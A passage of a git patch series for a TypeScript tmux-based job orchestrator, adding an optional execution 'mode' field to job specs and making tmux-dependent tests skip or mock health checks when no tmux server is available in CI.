a/src/lib/plan-types.ts b/src/lib/plan-types.ts index ad675a4..c11c5ac 100644 --- a/src/lib/plan-types.ts +++ b/src/lib/plan-types.ts @@ -58,6 +58,7 @@ export interface JobSpec { copyFiles?: string[]; symlinkDirs?: string[]; commands?: string[]; + mode?: 'vanilla' | 'plan' | 'ralph' | 'ulw'; } export const VALID_PLAN_TRANSITIONS: Record = { diff --git a/src/lib/schemas.ts b/src/lib/schemas.ts index b6a6c07..ff0409a 100644 --- a/src/lib/schemas.ts +++ b/src/lib/schemas.ts @@ -69,6 +69,7 @@ export const JobSpecSchema = z.object({ copyFiles: z.array(z.string()).optional(), symlinkDirs: z.array(z.string()).optional(), commands: z.array(z.string()).optional(), + mode: z.enum(['vanilla', 'plan', 'ralph', 'ulw']).optional(), }); export const PlanSpecSchema = z.object({ diff --git a/src/tools/plan.ts b/src/tools/plan.ts index 570ef76..b9af2b7 100644 --- a/src/tools/plan.ts +++ b/src/tools/plan.ts @@ -38,6 +38,10 @@ export const mc_plan: ToolDefinition = tool({ .array(tool.schema.string()) .optional() .describe('Shell commands to run in worktree after creation'), + mode: tool.schema + .enum(['vanilla', 'plan', 'ralph', 'ulw']) + .optional() + .describe('Execution mode override for this job (defaults to omo.defaultMode config)'), }), ) .describe('Array of jobs to execute'), @@ -85,6 +89,7 @@ export const mc_plan: ToolDefinition = tool({ copyFiles: j.copyFiles, symlinkDirs: j.symlinkDirs, commands: j.commands, + mode: j.mode, status: 'queued' as const, })); From 6fdac96074f6f4c99763ac2511c200d473c698d5 Mon Sep 17 00:00:00 2001 From: Nigel Bazzeghin Date: Fri, 13 Feb 2026 09:11:29 -0600 Subject: [PATCH 10/13] fix(test): mock isTmuxHealthy in integration test for CI compatibility --- tests/integration/orchestration.test.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/integration/orchestration.test.ts b/tests/integration/orchestration.test.ts index d6a692e..3ca162c 100644 --- a/tests/integration/orchestration.test.ts +++ b/tests/integration/orchestration.test.ts @@ -137,6 +137,7 @@ function mockTmux(): MockTmuxResult { spyOn(tmuxMod, 'createWindow').mockResolvedValue(undefined); spyOn(tmuxMod, 'getCurrentSession').mockReturnValue('main'); spyOn(tmuxMod, 'isInsideTmux').mockReturnValue(true); + spyOn(tmuxMod, 'isTmuxHealthy').mockResolvedValue(true); const sendKeys = spyOn(tmuxMod, 'sendKeys').mockResolvedValue(undefined); const killSession = spyOn(tmuxMod, 'killSession').mockResolvedValue(undefined); spyOn(tmuxMod, 'killWindow').mockResolvedValue(undefined); From 769be46114bda789607a0a9fa57f5a5b83df2ec0 Mon Sep 17 00:00:00 2001 From: Nigel Bazzeghin Date: Fri, 13 Feb 2026 09:14:13 -0600 Subject: [PATCH 11/13] fix(test): mock isTmuxHealthy in unit test resumePlan for CI compatibility --- tests/lib/orchestrator.test.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/lib/orchestrator.test.ts b/tests/lib/orchestrator.test.ts index fdf9f6d..daf6f35 100644 --- a/tests/lib/orchestrator.test.ts +++ b/tests/lib/orchestrator.test.ts @@ -575,6 +575,7 @@ describe('orchestrator', () => { planId: 'plan-1', }, ]; + spyOn(tmuxMod, 'isTmuxHealthy').mockResolvedValue(true); spyOn(tmuxMod, 'isPaneRunning').mockResolvedValue(false); const orchestrator = new Orchestrator(monitor as any, { From d3a505c03f90a360f94be98e4414dc04eab0b800 Mon Sep 17 00:00:00 2001 From: Nigel Bazzeghin Date: Fri, 13 Feb 2026 09:17:29 -0600 Subject: [PATCH 12/13] fix(test): skip tmux-dependent tests when tmux server is unavailable --- tests/lib/tmux-isPaneRunning.test.ts | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/tests/lib/tmux-isPaneRunning.test.ts b/tests/lib/tmux-isPaneRunning.test.ts index b486574..d888c46 100644 --- a/tests/lib/tmux-isPaneRunning.test.ts +++ b/tests/lib/tmux-isPaneRunning.test.ts @@ -8,6 +8,10 @@ import { const TEST_SESSION = 'mc-test-pane-running-xyz'; +// These tests require a live tmux server and must be skipped in CI +const hasTmux = await isTmuxHealthy(); +const tmuxIt = hasTmux ? it : it.skip; + describe('isPaneRunning error handling', () => { afterEach(async () => { try { @@ -15,18 +19,18 @@ describe('isPaneRunning error handling', () => { } catch {} }); - it('returns false when pane does not exist', async () => { + tmuxIt('returns false when pane does not exist', async () => { const result = await isPaneRunning('nonexistent-session-abc-xyz-999:0'); expect(result).toBe(false); }); - it('returns true for an active pane', async () => { + tmuxIt('returns true for an active pane', async () => { await createSession({ name: TEST_SESSION, workdir: '/tmp' }); const result = await isPaneRunning(TEST_SESSION); expect(result).toBe(true); }); - it('returns false after killing a session', async () => { + tmuxIt('returns false after killing a session', async () => { await createSession({ name: TEST_SESSION, workdir: '/tmp' }); await killSession(TEST_SESSION); const result = await isPaneRunning(TEST_SESSION); @@ -35,7 +39,7 @@ describe('isPaneRunning error handling', () => { }); describe('isPaneRunning internal logic', () => { - it('returns false (not throw) for various nonexistent target formats', async () => { + tmuxIt('returns false (not throw) for various nonexistent target formats', async () => { const targets = [ 'nonexistent-session-aaa:0', 'nonexistent-session-bbb:nonexistent-window', @@ -49,7 +53,7 @@ describe('isPaneRunning internal logic', () => { }); describe('isTmuxHealthy', () => { - it('returns true when tmux server is running', async () => { + tmuxIt('returns true when tmux server is running', async () => { const result = await isTmuxHealthy(); expect(result).toBe(true); }); From 940c8d3f1fa61a82da8c804793c1a3738a7803c1 Mon Sep 17 00:00:00 2001 From: Nigel Bazzeghin Date: Fri, 13 Feb 2026 09:20:25 -0600 Subject: [PATCH 13/13] fix(test): skip tmux-dependent tests in tmux.test.ts when no tmux server --- tests/lib/tmux.test.ts | 25 ++++++++++++++----------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/tests/lib/tmux.test.ts b/tests/lib/tmux.test.ts index 8d25d04..c85066d 100644 --- a/tests/lib/tmux.test.ts +++ b/tests/lib/tmux.test.ts @@ -17,6 +17,9 @@ import { isTmuxHealthy, } from '../../src/lib/tmux'; +const hasTmux = await isTmuxHealthy(); +const tmuxIt = hasTmux ? it : it.skip; + describe('tmux utilities', () => { describe('isTmuxAvailable', () => { it('should return a boolean', async () => { @@ -97,7 +100,7 @@ describe('tmux utilities', () => { }); describe('createSession', () => { - it('should accept valid options', async () => { + tmuxIt('should accept valid options', async () => { const result = await createSession({ name: 'test-session-valid-xyz', workdir: '/tmp', @@ -109,7 +112,7 @@ describe('tmux utilities', () => { }); describe('createWindow', () => { - it('should throw error when session does not exist', async () => { + tmuxIt('should throw error when session does not exist', async () => { await expect( createWindow({ session: 'nonexistent-session-xyz', @@ -121,14 +124,14 @@ describe('tmux utilities', () => { }); describe('sessionExists', () => { - it('should return false for nonexistent session', async () => { + tmuxIt('should return false for nonexistent session', async () => { const result = await sessionExists('nonexistent-session-xyz-123'); expect(result).toBe(false); }); }); describe('windowExists', () => { - it('should return false for nonexistent window', async () => { + tmuxIt('should return false for nonexistent window', async () => { const result = await windowExists( 'nonexistent-session-xyz', 'nonexistent-window' @@ -138,7 +141,7 @@ describe('tmux utilities', () => { }); describe('killSession', () => { - it('should throw error when session does not exist', async () => { + tmuxIt('should throw error when session does not exist', async () => { await expect( killSession('nonexistent-session-xyz-123') ).rejects.toThrow(); @@ -146,7 +149,7 @@ describe('tmux utilities', () => { }); describe('killWindow', () => { - it('should throw error when window does not exist', async () => { + tmuxIt('should throw error when window does not exist', async () => { await expect( killWindow('nonexistent-session-xyz', 'nonexistent-window') ).rejects.toThrow(); @@ -154,7 +157,7 @@ describe('tmux utilities', () => { }); describe('capturePane', () => { - it('should throw error for invalid target', async () => { + tmuxIt('should throw error for invalid target', async () => { await expect( capturePane('nonexistent-session-xyz:0') ).rejects.toThrow(); @@ -162,7 +165,7 @@ describe('tmux utilities', () => { }); describe('sendKeys', () => { - it('should throw error for invalid target', async () => { + tmuxIt('should throw error for invalid target', async () => { await expect( sendKeys('nonexistent-session-xyz:0', 'echo test') ).rejects.toThrow(); @@ -170,7 +173,7 @@ describe('tmux utilities', () => { }); describe('setPaneDiedHook', () => { - it('should throw error for invalid target', async () => { + tmuxIt('should throw error for invalid target', async () => { await expect( setPaneDiedHook('nonexistent-session-xyz:0', 'echo done') ).rejects.toThrow(); @@ -178,14 +181,14 @@ describe('tmux utilities', () => { }); describe('getPanePid', () => { - it('should return undefined for invalid target', async () => { + tmuxIt('should return undefined for invalid target', async () => { const result = await getPanePid('nonexistent-session-xyz:0'); expect(result).toBeUndefined(); }); }); describe('isPaneRunning', () => { - it('should return false when tmux reports pane not found', async () => { + tmuxIt('should return false when tmux reports pane not found', async () => { const result = await isPaneRunning('nonexistent-session-xyz:0'); expect(result).toBe(false); });